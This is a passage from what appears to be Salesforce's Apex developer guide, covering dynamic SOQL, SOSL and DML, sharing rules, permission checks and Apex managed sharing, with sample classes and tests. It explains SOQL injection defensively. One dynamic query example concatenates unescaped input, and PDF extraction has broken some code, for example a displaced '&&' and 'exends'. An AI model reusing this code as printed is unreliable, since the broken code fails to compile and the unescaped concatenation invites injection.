public class DescribeDataCategoryGroupStructures { public static List<DescribeDataCategoryGroupStructureResult> getDescribeDataCategoryGroupStructureResults(){ List<DescribeDataCategoryGroupResult> describeCategoryResult; List<DescribeDataCategoryGroupStructureResult> describeCategoryStructureResult; try { //Making the call to the describeDataCategoryGroups to //get the list of category groups associated List<String> objType = new List<String>(); objType.add('KnowledgeArticleVersion'); objType.add('Question'); describeCategoryResult = Schema.describeDataCategoryGroups(objType); //Creating a list of pair objects to use as a parameter //for the describe call List<DataCategoryGroupSobjectTypePair> pairs = new List<DataCategoryGroupSobjectTypePair>(); //Looping throught the first describe result to create //the list of pairs for the second describe call for(DescribeDataCategoryGroupResult singleResult : describeCategoryResult){ DataCategoryGroupSobjectTypePair p = new DataCategoryGroupSobjectTypePair(); p.setSobject(singleResult.getSobject()); p.setDataCategoryGroupName(singleResult.getName()); pairs.add(p); } //describeDataCategoryGroupStructures() describeCategoryStructureResult = Schema.describeDataCategoryGroupStructures(pairs, false); //Getting data from the result for(DescribeDataCategoryGroupStructureResult singleResult : describeCategoryStructureResult){ //Get name of the associated Sobject singleResult.getSobject(); //Get the name of the data category group singleResult.getName(); //Get the name of the data category group singleResult.getLabel(); //Get the description of the data category group singleResult.getDescription(); //Get the top level categories DataCategory [] toplevelCategories = singleResult.getTopCategories(); //Recursively get all the categories List<DataCategory> allCategories = getAllCategories(toplevelCategories); for(DataCategory category : allCategories) { //Get the name of the category category.getName(); //Get the label of the category

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category.getLabel(); //Get the list of sub categories in the category DataCategory [] childCategories = category.getChildCategories(); } } } catch (Exception e){ } return describeCategoryStructureResult; } private static DataCategory[] getAllCategories(DataCategory [] categories){ if(categories.isEmpty()){ return new DataCategory[]{}; } else { DataCategory [] categoriesClone = categories.clone(); DataCategory category = categoriesClone[0]; DataCategory[] allCategories = new DataCategory[]{category}; categoriesClone.remove(0); categoriesClone.addAll(category.getChildCategories()); allCategories.addAll(getAllCategories(categoriesClone)); return allCategories; } } }

Testing Access to All Data Categories Associated with an sObject The following example tests the describeDataCategoryGroupSample method shown earlier. It ensures that the returned category group and associated objects are correct.
@isTest private class DescribeDataCategoryGroupSampleTest { public static testMethod void describeDataCategoryGroupSampleTest(){ List<DescribeDataCategoryGroupResult>describeResult = DescribeDataCategoryGroupSample.describeDataCategoryGroupSample(); //Assuming that you have KnowledgeArticleVersion and Questions //associated with only one category group 'Regions'. System.assert(describeResult.size() == 2, 'The results should only contain two results: ' + describeResult.size()); for(DescribeDataCategoryGroupResult result : describeResult) { //Storing the results String name = result.getName(); String label = result.getLabel(); String description = result.getDescription(); String objectNames = result.getSobject(); //asserting the values to make sure System.assert(name == 'Regions', 'Incorrect name was returned: ' + name); System.assert(label == 'Regions of the World', 'Incorrect label was returned: ' + label); System.assert(description == 'This is the category group for all the regions', 'Incorrect description was returned: ' + description); System.assert(objectNames.contains('KnowledgeArticleVersion') || objectNames.contains('Question'), 'Incorrect sObject was returned: ' + objectNames); } } }

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Accessing All Data Categories Associated with an sObject

This example tests the describeDataCategoryGroupStructures method. It ensures that the returned category group, categories and associated objects are correct.
@isTest private class DescribeDataCategoryGroupStructuresTest { public static testMethod void getDescribeDataCategoryGroupStructureResultsTest(){ List<Schema.DescribeDataCategoryGroupStructureResult> describeResult = DescribeDataCategoryGroupStructures.getDescribeDataCategoryGroupStructureResults(); System.assert(describeResult.size() == 2, 'The results should only contain 2 results: ' + describeResult.size()); //Creating category info CategoryInfo world = new CategoryInfo('World', 'World'); CategoryInfo asia = new CategoryInfo('Asia', 'Asia'); CategoryInfo northAmerica = new CategoryInfo('NorthAmerica', 'North America'); CategoryInfo southAmerica = new CategoryInfo('SouthAmerica', 'South America'); CategoryInfo europe = new CategoryInfo('Europe', 'Europe'); List<CategoryInfo> info = new CategoryInfo[] { asia, northAmerica, southAmerica, europe }; for (Schema.DescribeDataCategoryGroupStructureResult result : describeResult) { String name = result.getName(); String label = result.getLabel(); String description = result.getDescription(); String objectNames = result.getSobject(); //asserting the values to make sure System.assert(name == 'Regions', 'Incorrect name was returned: ' + name); System.assert(label == 'Regions of the World', 'Incorrect label was returned: ' + label); System.assert(description == 'This is the category group for all the regions', 'Incorrect description was returned: ' + description); System.assert(objectNames.contains('KnowledgeArticleVersion') || objectNames.contains('Question'), 'Incorrect sObject was returned: ' + objectNames); DataCategory [] topLevelCategories = result.getTopCategories(); System.assert(topLevelCategories.size() == 1, 'Incorrect number of top level categories returned: ' + topLevelCategories.size()); System.assert(topLevelCategories[0].getLabel() == world.getLabel() && topLevelCategories[0].getName() == world.getName()); //checking if the correct children are returned DataCategory [] children = topLevelCategories[0].getChildCategories(); System.assert(children.size() == 4, 'Incorrect number of children returned: ' + children.size()); for(Integer i=0; i < children.size(); i++){ System.assert(children[i].getLabel() == info[i].getLabel() && children[i].getName() == info[i].getName()); } } } private class CategoryInfo { private final String name; private final String label; private CategoryInfo(String n, String l){ this.name = n; this.label = l;

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} public String getName(){ return this.name; } public String getLabel(){ return this.label; } } }

Dynamic SOQL
Dynamic SOQL refers to the creation of a SOQL string at runtime with Apex code. Dynamic SOQL enables you to create more flexible applications. For example, you can create a search based on input from an end user, or update records with varying field names. To create a dynamic SOQL query at runtime, use the database query method, in one of the following ways: Return a single sObject when the query returns a single record:
sObject S = Database.query(string_limit_1);

Return a list of sObjects when the query returns more than a single record:
List<sObject> L = Database.query(string);

The database query method can be used wherever an inline SOQL query can be used, such as in regular assignment statements and for loops. The results are processed in much the same way as static SOQL queries are processed. Dynamic SOQL results can be specified as concrete sObjects, such as Account or MyCustomObject__c, or as the generic sObject data type. At runtime, the system validates that the type of the query matches the declared type of the variable. If the query does not return the correct sObject type, a runtime error is thrown. This means you do not need to cast from a generic sObject to a concrete sObject. Dynamic SOQL queries have the same governor limits as static queries. For more information on governor limits, see Understanding Execution Governors and Limits on page 240. For a full description of SOQL query syntax, see Salesforce Object Query Language (SOQL) in the Force.com SOQL and SOSL Reference. Dynamic SOQL Considerations You can use simple bind variables in dynamic SOQL query strings. The following is allowed:
String myTestString = 'TestName'; List<sObject> L = Database.query('SELECT Id FROM MyCustomObject__c WHERE Name = :myTestString');

However, unlike inline SOQL, dynamic SOQL cant use bind variable fields in the query string. The following example isnt supported and results in a Variable does not exist error:
MyCustomObject__c myVariable = new MyCustomObject__c(field1__c ='TestField'); List<sObject> L = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c = :myVariable.field1__c');

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You can instead resolve the variable field into a string and use the string in your dynamic SOQL query:
String resolvedField1 = myVariable.field1__c; List<sObject> L = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c = ' + resolvedField1);

SOQL Injection SOQL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOQL statements into your code. This can occur in Apex code whenever your application relies on end user input to construct a dynamic SOQL statement and you do not handle the input properly. To prevent SOQL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.

Dynamic SOSL
Dynamic SOSL refers to the creation of a SOSL string at runtime with Apex code. Dynamic SOSL enables you to create more flexible applications. For example, you can create a search based on input from an end user, or update records with varying field names. To create a dynamic SOSL query at runtime, use the search query method. For example:
List<List <sObject>> myQuery = search.query(SOSL_search_string);

The following example exercises a simple SOSL query string.

String searchquery='FIND\'Edge*\'IN ALL FIELDS RETURNING Account(id,name),Contact, Lead'; List<List<SObject>>searchList=search.query(searchquery);

Dynamic SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type. The result lists are always returned in the same order as they were specified in the dynamic SOSL query. From the example above, the results from Account are first, then Contact, then Lead. The search query method can be used wherever an inline SOSL query can be used, such as in regular assignment statements and for loops. The results are processed in much the same way as static SOSL queries are processed. Dynamic SOSL queries have the same governor limits as static queries. For more information on governor limits, see Understanding Execution Governors and Limits on page 240. For a full description of SOSL query syntax, see Salesforce Object Search Language (SOSL) in the Force.com SOQL and SOSL Reference. SOSL Injection SOSL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOSL statements into your code. This can occur in Apex code whenever your application relies on end user input to construct a dynamic SOSL statement and you do not handle the input properly. To prevent SOSL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead of database commands.

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Dynamic DML
In addition to querying describe information and building SOQL queries at runtime, you can also create sObjects dynamically, and insert them into the database using DML. To create a new sObject of a given type, use the newSObject method on an sObject token. Note that the token must be cast into a concrete sObject type (such as Account). For example:
// Get a new account Account A = new Account(); // Get the token for the account Schema.sObjectType tokenA = A.getSObjectType(); // The following produces an error because the token is a generic sObject, not an Account // Account B = tokenA.newSObject(); // The following works because the token is cast back into an Account Account B = (Account)tokenA.newSObject();

Though the sObject token tokenA is a token of Account, it is considered an sObject because it is accessed separately. It must be cast back into the concrete sObject type Account to use the newSObject method. For more information on casting, see Classes and Casting on page 86. You can also specify an ID with newSObject to create an sObject that references an existing record that you can update later. For example:
SObject s = Database.query('SELECT Id FROM account LIMIT 1')[0].getSObjectType(). newSObject([SELECT Id FROM Account LIMIT 1][0].Id);

See SObjectType Class. Dynamic sObject Creation Example This example shows how to obtain the sObject token through the Schema.getGlobalDescribe method and then creates a new sObject using the newSObject method on the token. This example also contains a test method that verifies the dynamic creation of an account.
public class DynamicSObjectCreation { public static sObject createObject(String typeName) { Schema.SObjectType targetType = Schema.getGlobalDescribe().get(typeName); if (targetType == null) { // throw an exception } // Instantiate an sObject with the type passed in as an argument // at run time. return targetType.newSObject(); } } @isTest private class DynamicSObjectCreationTest { static testmethod void testObjectCreation() { String typeName = 'Account'; String acctName = 'Acme'; // Create a new sObject by passing the sObject type as an argument. Account a = (Account)DynamicSObjectCreation.createObject(typeName); System.assertEquals(typeName, String.valueOf(a.getSobjectType())); // Set the account name and insert the account. a.Name = acctName; insert a;

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// Verify the new sObject got inserted. Account[] b = [SELECT Name from Account WHERE Name = :acctName]; system.assert(b.size() > 0); } }

Setting and Retrieving Field Values Use the get and put methods on an object to set or retrieve values for fields using either the API name of the field expressed as a String, or the field's token. In the following example, the API name of the field AccountNumber is used:
SObject s = [SELECT AccountNumber FROM Account LIMIT 1]; Object o = s.get('AccountNumber'); s.put('AccountNumber', 'abc');

The following example uses the AccountNumber field's token instead:

Schema.DescribeFieldResult f = Schema.sObjectType.Account.fields.AccountNumber; Sobject s = Database.query('SELECT AccountNumber FROM Account LIMIT 1'); s.put(f.getsObjectField(), '12345');

The Object scalar data type can be used as a generic data type to set or retrieve field values on an sObject. This is equivalent to the anyType field type. Note that the Object data type is different from the sObject data type, which can be used as a generic type for any sObject. Note: Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String value that is too long for the field.

Setting and Retrieving Foreign Keys Apex supports populating foreign keys by name (or external ID) in the same way as the API. To set or retrieve the scalar ID value of a foreign key, use the get or put methods. To set or retrieve the record associated with a foreign key, use the getSObject and putSObject methods. Note that these methods must be used with the sObject data type, not Object. For example:
SObject c = Database.query('SELECT Id, FirstName, AccountId, Account.Name FROM Contact LIMIT 1'); SObject a = c.getSObject('Account');

There is no need to specify the external ID for a parent sObject value while working with child sObjects. If you provide an ID in the parent sObject, it is ignored by the DML operation. Apex assumes the foreign key is populated through a relationship SOQL query, which always returns a parent object with a populated ID. If you have an ID, use it with the child object. For example, suppose that custom object C1 has a foreign key c2__c that links to a child custom object C2. You want to create a C1 object and have it associated with a C2 record named 'xxx' (assigned to the value c2__r). You do not need the ID of the 'xxx' record, as it is populated through the relationship of parent to child. For example:
insert new C1__c(name = 'x', c2__r = new C2__c(name = 'xxx'));

If you had assigned a value to the ID for c2__r, it would be ignored. If you do have the ID, assign it to the object (c2__c), not the record. You can also access foreign keys using dynamic Apex. The following example shows how to get the values from a subquery in a parent-to-child relationship using dynamic Apex:
String queryString = 'SELECT Id, Name, ' + '(SELECT FirstName, LastName FROM Contacts LIMIT 1) FROM Account'; SObject[] queryParentObject = Database.query(queryString);

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for (SObject parentRecord : queryParentObject){ Object ParentFieldValue = parentRecord.get('Name'); // Prevent a null relationship from being accessed SObject[] childRecordsFromParent = parentRecord.getSObjects('Contacts'); if (childRecordsFromParent != null) { for (SObject childRecord : childRecordsFromParent){ Object ChildFieldValue1 = childRecord.get('FirstName'); Object ChildFieldValue2 = childRecord.get('LastName'); System.debug('Account Name: ' + ParentFieldValue + '. Contact Name: '+ ChildFieldValue1 + ' ' + ChildFieldValue2); } } }

Apex Security and Sharing

This chapter covers security and sharing for Apex. Youll learn about the security of running code and how to add user permissions for Apex classes. Also, youll learn how sharing rules can be enforced. Furthermore, Apex managed sharing is described. Finally, security tips are provided.

Enforcing Sharing Rules

Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules arent taken into account during code execution. Note: The only exceptions to this rule are Apex code that is executed with the executeAnonymous call and Chatter in Apex. executeAnonymous always executes using the full permissions of the current user. For more information on executeAnonymous, see Anonymous Blocks on page 187. Because these rules aren't enforced, developers who use Apex must take care that they don't inadvertently expose sensitive data that would normally be hidden from users by user permissions, field-level security, or organization-wide defaults. They should be particularly careful with Web services, which can be restricted by permissions, but execute in system context once they are initiated. Most of the time, system context provides the correct behavior for system-level operations such as triggers and Web services that need access to all data in an organization. However, you can also specify that particular Apex classes should enforce the sharing rules that apply to the current user. (For more information on sharing rules, see the Salesforce.com online help.) Note: Enforcing sharing rules by using the with sharing keyword doesnt enforce the user's permissions and field-level security. Apex code always has access to all fields and objects in an organization, ensuring that code wont fail to run because of hidden fields or objects for a user. This example has two classes, the first class (CWith) enforces sharing rules while the second class (CWithout) doesnt. The CWithout class calls a method from the first, which runs with sharing rules enforced. The CWithout class contains an inner classes, in which code executes under the same sharing context as the caller. It also contains a class that extends it, which inherits its without sharing setting.
public with sharing class CWith { // All code in this class operates with enforced sharing rules. Account a = [SELECT . . . ]; public static void m() { . . . } static { . . .

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} { . . . } public void c() { . . . } } public without sharing class CWithout { // All code in this class ignores sharing rules and operates // as if the context user has the Modify All Data permission. Account a = [SELECT . . . ]; . . . public static void m() { . . . // This call into CWith operates with enforced sharing rules // for the context user. When the call finishes, the code execution // returns to without sharing mode. CWith.m(); } public class CInner { // All code in this class executes with the same sharing context // as the code that calls it. // Inner classes are separate from outer classes. . . . // Again, this call into CWith operates with enforced sharing rules // for the context user, regardless of the class that initially called this inner class. // When the call finishes, the code execution returns to the sharing mode that was used to call this inner class. CWith.m(); } public class CInnerWithOut exends CWithout { // All code in this class ignores sharing rules because // this class extends a parent class that ignores sharing rules. } }

Warning: There is no guarantee that a class declared as with sharing doesn't call code that operates as without sharing. Class-level security is always still necessary. In addition, all SOQL or SOSL queries that use PriceBook2 ignore the with sharing keyword. All PriceBook records are returned, regardless of the applied sharing rules. Enforcing the current user's sharing rules can impact: SOQL and SOSL queries. A query may return fewer rows than it would operating in system context. DML operations. An operation may fail because the current user doesn't have the correct permissions. For example, if the user specifies a foreign key value that exists in the organization, but which the current user does not have access to.

Enforcing Object and Field Permissions

Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules arent taken into account during code execution. The only exceptions to this rule are Apex code that is executed with the executeAnonymous call and Chatter in Apex. executeAnonymous always executes using the full permissions of the current user. For more information on executeAnonymous, see Anonymous Blocks on page 187.

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Although Apex doesn't enforce object-level and field-level permissions by default, you can enforce these permissions in your code by explicitly calling the sObject describe result methods (of Schema.DescribeSObjectResult) and the field describe result methods (of Schema.DescribeFieldResult) that check the current user's access permission levels. In this way, you can verify if the current user has the necessary permissions, and only if he or she has sufficient permissions, you can then perform a specific DML operation or a query. For example, you can call the isAccessible, isCreateable, or isUpdateable methods of Schema.DescribeSObjectResult to verify whether the current user has read, create, or update access to an sObject, respectively. Similarly, Schema.DescribeFieldResult exposes these access control methods that you can call to check the current user's read, create, or update access for a field. In addition, you can call the isDeletable method provided by Schema.DescribeSObjectResult to check if the current user has permission to delete a specific sObject. These are some examples of how to call the access control methods. To check the field-level update permission of the contact's email field before updating it:
if (Schema.sObjectType.Contact.fields.Email.isUpdateable()) { // Update contact phone number }

To check the field-level create permission of the contact's email field before creating a new contact:
if (Schema.sObjectType.Contact.fields.Email.isCreateable()) { // Create new contact }

To check the field-level read permission of the contact's email field before querying for this field:
if (Schema.sObjectType.Contact.fields.Email.isAccessible()) { Contact c = [SELECT Email FROM Contact WHERE Id= :Id]; }

To check the object-level permission for the contact before deleting the contact.
if (Schema.sObjectType.Contact.isDeletable()) { // Delete contact }

Sharing rules are distinct from object-level and field-level permissions. They can coexist. If sharing rules are defined in Salesforce, you can enforce them at the class level by declaring the class with the with sharing keyword. For more information, see Using the with sharing or without sharing Keywords. If you call the sObject describe result and field describe result access control methods, the verification of object and field-level permissions is performed in addition to the sharing rules that are in effect. Sometimes, the access level granted by a sharing rule could conflict with an object-level or field-level permission.

Class Security
You can specify which users can execute methods in a particular top-level class based on their user profile or permission sets. You can only set security on Apex classes, not on triggers. To set Apex class security from the class list page: 1. From Setup, click Develop > Apex Classes. 2. Next to the name of the class that you want to restrict, click Security. 3. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable from the Enabled Profiles list and click Remove.

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4. Click Save. To set Apex class security from the class detail page: 1. 2. 3. 4. From Setup, click Develop > Apex Classes. Click the name of the class that you want to restrict. Click Security. Select the profiles that you want to enable from the Available Profiles list and click Add, or select the profiles that you want to disable from the Enabled Profiles list and click Remove. 5. Click Save. To set Apex class security from a permission set: 1. 2. 3. 4. 5. From Setup, click Manage Users > Permission Sets. Select a permission set. Click Apex Class Access. Click Edit. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that you want to disable from the Enabled Apex Classes list and click Remove. 6. Click Save. To set Apex class security from a profile: 1. 2. 3. 4. From Setup, click Manage Users > Profiles. Select a profile. In the Apex Class Access page or related list, click Edit. Select the Apex classes that you want to enable from the Available Apex Classes list and click Add, or select the Apex classes that you want to disable from the Enabled Apex Classes list and click Remove. 5. Click Save.

Understanding Apex Managed Sharing

Sharing is the act of granting a user or group of users permission to perform a set of actions on a record or set of records. Sharing access can be granted using the Salesforce user interface and Force.com, or programmatically using Apex. This section provides an overview of sharing using Apex: Understanding Sharing Sharing a Record Using Apex Recalculating Apex Managed Sharing

For more information on sharing, see Setting Your Organization-Wide Sharing Defaults in the Salesforce online help.

Understanding Sharing
Sharing enables record-level access control for all custom objects, as well as many standard objects (such as Account, Contact, Opportunity and Case). Administrators first set an objects organization-wide default sharing access level, and then grant additional access based on record ownership, the role hierarchy, sharing rules, and manual sharing. Developers can then use Apex managed sharing to grant additional access programmatically with Apex. Most sharing for a record is maintained in a related sharing object, similar to an access control list (ACL) found in other platforms. Types of Sharing Salesforce has the following types of sharing: 166

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Force.com Managed Sharing Force.com managed sharing involves sharing access granted by Force.com based on record ownership, the role hierarchy, and sharing rules: Record Ownership Each record is owned by a user or optionally a queue for custom objects, cases and leads. The record owner is automatically granted Full Access, allowing them to view, edit, transfer, share, and delete the record. Role Hierarchy The role hierarchy enables users above another user in the hierarchy to have the same level of access to records owned by or shared with users below. Consequently, users above a record owner in the role hierarchy are also implicitly granted Full Access to the record, though this behavior can be disabled for specific custom objects. The role hierarchy is not maintained with sharing records. Instead, role hierarchy access is derived at runtime. For more information, see Controlling Access Using Hierarchies in the Salesforce online help. Sharing Rules Sharing rules are used by administrators to automatically grant users within a given group or role access to records owned by a specific group of users. Sharing rules cannot be added to a package and cannot be used to support sharing logic for apps installed from Force.com AppExchange. Sharing rules can be based on record ownership or other criteria. You cant use Apex to create criteria-based sharing rules. Also, criteria-based sharing cannot be tested using Apex. All implicit sharing added by Force.com managed sharing cannot be altered directly using the Salesforce user interface, SOAP API, or Apex. User Managed Sharing, also known as Manual Sharing User managed sharing allows the record owner or any user with Full Access to a record to share the record with a user or group of users. This is generally done by an end-user, for a single record. Only the record owner and users above the owner in the role hierarchy are granted Full Access to the record. It is not possible to grant other users Full Access. Users with the Modify All object-level permission for the given object or the Modify All Data permission can also manually share a record. User managed sharing is removed when the record owner changes or when the access granted in the sharing does not grant additional access beyond the object's organization-wide sharing default access level. Apex Managed Sharing Apex managed sharing provides developers with the ability to support an applications particular sharing requirements programmatically through Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only users with Modify All Data permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes. Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.

The Sharing Reason Field In the Salesforce user interface, the Reason field on a custom object specifies the type of sharing used for a record. This field is called rowCause in Apex or the Force.com API. Each of the following list items is a type of sharing used for records. The tables show Reason field value, and the related rowCause value. Force.com Managed Sharing

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Reason Field Value

rowCause Value (Used in Apex or the Force.com API) ImplicitChild ImplicitParent Owner Team Rule TerritoryRule

Account Sharing Associated record owner or sharing Owner Opportunity Team Sharing Rule Territory Assignment Rule User Managed Sharing
Reason Field Value

rowCause Value (Used in Apex or the Force.com API) Manual TerritoryManual

Manual Sharing Territory Manual Apex Managed Sharing

Reason Field Value

rowCause Value (Used in Apex or the Force.com API)

Defined by developer

Defined by developer

The displayed reason for Apex managed sharing is defined by the developer. Access Levels When determining a users access to a record, the most permissive level of access is used. Most share objects support the following access levels: Access Level Private API Name None Description Only the record owner and users above the record owner in the role hierarchy can view and edit the record. This access level only applies to the AccountShare object. The specified user or group can view the record only. The specified user or group can view and edit the record. The specified user or group can view, edit, transfer, share, and delete the record. Note: This access level can only be granted with Force.com managed sharing.

Read Only Read/Write Full Access

Read Edit All

Sharing a Record Using Apex

To access sharing programmatically, you must use the share object associated with the standard or custom object for which you want to share. For example, AccountShare is the sharing object for the Account object, ContactShare is the sharing object

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for the Contact object, and so on. In addition, all custom object sharing objects are named as follows, where MyCustomObject is the name of the custom object:
MyCustomObject__Share

Objects on the detail side of a master-detail relationship do not have an associated sharing object. The detail records access is determined by the masters sharing object and the relationships sharing setting. For more information, see Custom Object Security in the Salesforce online help. A share object includes records supporting all three types of sharing: Force.com managed sharing, user managed sharing, and Apex managed sharing. Sharing granted to users implicitly through organization-wide defaults, the role hierarchy, and permissions such as the View All and Modify All permissions for the given object, View All Data, and Modify All Data are not tracked with this object. Every share object has the following properties: Property Name
objectNameAccessLevel

Description The level of access that the specified user or group has been granted for a share sObject. The name of the property is AccessLevel appended to the object name. For example, the property name for LeadShare object is LeadShareAccessLevel. Valid values are: Edit Read All Note: The All access level can only be used by Force.com managed sharing.

This field must be set to an access level that is higher than the organizations default access level for the parent object. For more information, see Access Levels on page 168.
ParentID RowCause

The ID of the object. This field cannot be updated. The reason why the user or group is being granted access. The reason determines the type of sharing, which controls who can alter the sharing record. This field cannot be updated. The user or group IDs to which you are granting access. A group can be a public group, role, or territory. This field cannot be updated.

UserOrGroupId

You can share a standard or custom object with users or groups. Apex sharing is not available for Customer Community users. For more information about the types of users and groups you can share an object with, see User and Group in the Object Reference for Salesforce and Force.com. Creating User Managed Sharing Using Apex It is possible to manually share a record to a user or a group using Apex or the SOAP API. If the owner of the record changes, the sharing is automatically deleted. The following example class contains a method that shares the job specified by the job ID with the specified user or group ID with read access. It also includes a test method that validates this method. Before you save this example class, create a custom object called Job.
public class JobSharing { public static boolean manualShareRead(Id recordId, Id userOrGroupId){ // Create new sharing object for the custom object Job. Job__Share jobShr = new Job__Share(); // Set the ID of record being shared.

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jobShr.ParentId = recordId; // Set the ID of user or group being granted access. jobShr.UserOrGroupId = userOrGroupId; // Set the access level. jobShr.AccessLevel = 'Read'; // Set rowCause to 'manual' for manual sharing. // This line can be omitted as 'manual' is the default value for sharing objects. jobShr.RowCause = Schema.Job__Share.RowCause.Manual; // Insert the sharing record and capture the save result. // The false parameter allows for partial processing if multiple records passed // into the operation. Database.SaveResult sr = Database.insert(jobShr,false); // Process the save results. if(sr.isSuccess()){ // Indicates success return true; } else { // Get first save result error. Database.Error err = sr.getErrors()[0]; // Check if the error is related to trival access level. // Access levels equal or more permissive than the object's default // access level are not allowed. // These sharing records are not required and thus an insert exception is acceptable. if(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION err.getMessage().contains('AccessLevel')){ // Indicates success. return true; } else{ // Indicates failure. return false; } } } } @isTest private class JobSharingTest { // Test for the manualShareRead method static testMethod void testManualShareRead(){ // Select users for the test. List<User> users = [SELECT Id FROM User WHERE IsActive = true LIMIT 2]; Id User1Id = users[0].Id; Id User2Id = users[1].Id; // Create new job. Job__c j = new Job__c(); j.Name = 'Test Job'; j.OwnerId = user1Id; insert j; // Insert manual share for user who is not record owner. System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), true); // Query job sharing records. List<Job__Share> jShrs = [SELECT Id, UserOrGroupId, AccessLevel, RowCause FROM job__share WHERE ParentId = :j.Id AND UserOrGroupId= :user2Id]; // Test for only one manual share on job. System.assertEquals(jShrs.size(), 1, 'Set the object\'s sharing model to Private.'); &&

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// Test attributes of manual share. System.assertEquals(jShrs[0].AccessLevel, 'Read'); System.assertEquals(jShrs[0].RowCause, 'Manual'); System.assertEquals(jShrs[0].UserOrGroupId, user2Id); // Test invalid job Id. delete j; // Insert manual share for deleted job id. System.assertEquals(JobSharing.manualShareRead(j.Id, user2Id), false); } }

Important: The objects organization-wide default access level must not be set to the most permissive access level. For custom objects, this is Public Read/Write. For more information, see Access Levels on page 168.

Creating Apex Managed Sharing Apex managed sharing enables developers to programmatically manipulate sharing to support their applications behavior through Apex or the SOAP API. This type of sharing is similar to Force.com managed sharing. Only users with Modify All Data permission can add or change Apex managed sharing on a record. Apex managed sharing is maintained across record owner changes. Apex managed sharing must use an Apex sharing reason. Apex sharing reasons are a way for developers to track why they shared a record with a user or group of users. Using multiple Apex sharing reasons simplifies the coding required to make updates and deletions of sharing records. They also enable developers to share with the same user or group multiple times using different reasons. Apex sharing reasons are defined on an object's detail page. Each Apex sharing reason has a label and a name: The label displays in the Reason column when viewing the sharing for a record in the user interface. This allows users and administrators to understand the source of the sharing. The label is also enabled for translation through the Translation Workbench. The name is used when referencing the reason in the API and Apex.

All Apex sharing reason names have the following format:

MyReasonName__c

Apex sharing reasons can be referenced programmatically as follows:

Schema.CustomObject__Share.rowCause.SharingReason__c

For example, an Apex sharing reason called Recruiter for an object called Job can be referenced as follows:
Schema.Job__Share.rowCause.Recruiter__c

For more information, see Schema Class on page 1258. To create an Apex sharing reason: 1. 2. 3. 4. From Setup, click Create > Objects. Select the custom object. Click New in the Apex Sharing Reasons related list. Enter a label for the Apex sharing reason. The label displays in the Reason column when viewing the sharing for a record in the user interface. The label is also enabled for translation through the Translation Workbench. 5. Enter a name for the Apex sharing reason. The name is used when referencing the reason in the API and Apex. This name can contain only underscores and alphanumeric characters, and must be unique in your organization. It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores. 171

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6. Click Save. Note: Apex sharing reasons and Apex managed sharing recalculation are only available for custom objects.

Apex Managed Sharing Example For this example, suppose you are building a recruiting application and have an object called Job. You want to validate that the recruiter and hiring manager listed on the job have access to the record. The following trigger grants the recruiter and hiring manager access when the job record is created. This example requires a custom object called Job, with two lookup fields associated with User records called Hiring_Manager and Recruiter. Also, the Job custom object should have two sharing reasons added called Hiring_Manager and Recruiter.
trigger JobApexSharing on Job__c (after insert) { if(trigger.isInsert){ // Create a new list of sharing objects for Job List<Job__Share> jobShrs = new List<Job__Share>(); // Declare variables for recruiting and hiring manager sharing Job__Share recruiterShr; Job__Share hmShr; for(Job__c job : trigger.new){ // Instantiate the sharing objects recruiterShr = new Job__Share(); hmShr = new Job__Share(); // Set the ID of record being shared recruiterShr.ParentId = job.Id; hmShr.ParentId = job.Id; // Set the ID of user or group being granted access recruiterShr.UserOrGroupId = job.Recruiter__c; hmShr.UserOrGroupId = job.Hiring_Manager__c; // Set the access level recruiterShr.AccessLevel = 'edit'; hmShr.AccessLevel = 'read'; // Set the Apex sharing reason for hiring manager and recruiter recruiterShr.RowCause = Schema.Job__Share.RowCause.Recruiter__c; hmShr.RowCause = Schema.Job__Share.RowCause.Hiring_Manager__c; // Add objects to list for insert jobShrs.add(recruiterShr); jobShrs.add(hmShr); } // Insert sharing records and capture save result // The false parameter allows for partial processing if multiple records are passed // into the operation Database.SaveResult[] lsr = Database.insert(jobShrs,false); // Create counter Integer i=0; // Process the save results for(Database.SaveResult sr : lsr){ if(!sr.isSuccess()){ // Get the first save result error Database.Error err = sr.getErrors()[0]; // Check if the error is related to a trivial access level // Access levels equal or more permissive than the object's default

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// access level are not allowed. // These sharing records are not required and thus an insert exception is // acceptable. if(!(err.getStatusCode() == StatusCode.FIELD_FILTER_VALIDATION_EXCEPTION && err.getMessage().contains('AccessLevel'))){ // Throw an error when the error is not related to trivial access level. trigger.newMap.get(jobShrs[i].ParentId). addError( 'Unable to grant sharing access due to following exception: ' + err.getMessage()); } } i++; } } }

Under certain circumstances, inserting a share row results in an update of an existing share row. Consider these examples: If a manual share access level is set to Read and you insert a new one thats set to Write, the original share rows are updated to Write, indicating the higher level of access. If users can access an account because they can access its child records (contact, case, opportunity, and so on), and an account sharing rule is created, the row cause of the parent implicit share is replaced by the sharing rule row cause, indicating the higher level of access. Important: The objects organization-wide default access level must not be set to the most permissive access level. For custom objects, this is Public Read/Write. For more information, see Access Levels on page 168.

Recalculating Apex Managed Sharing

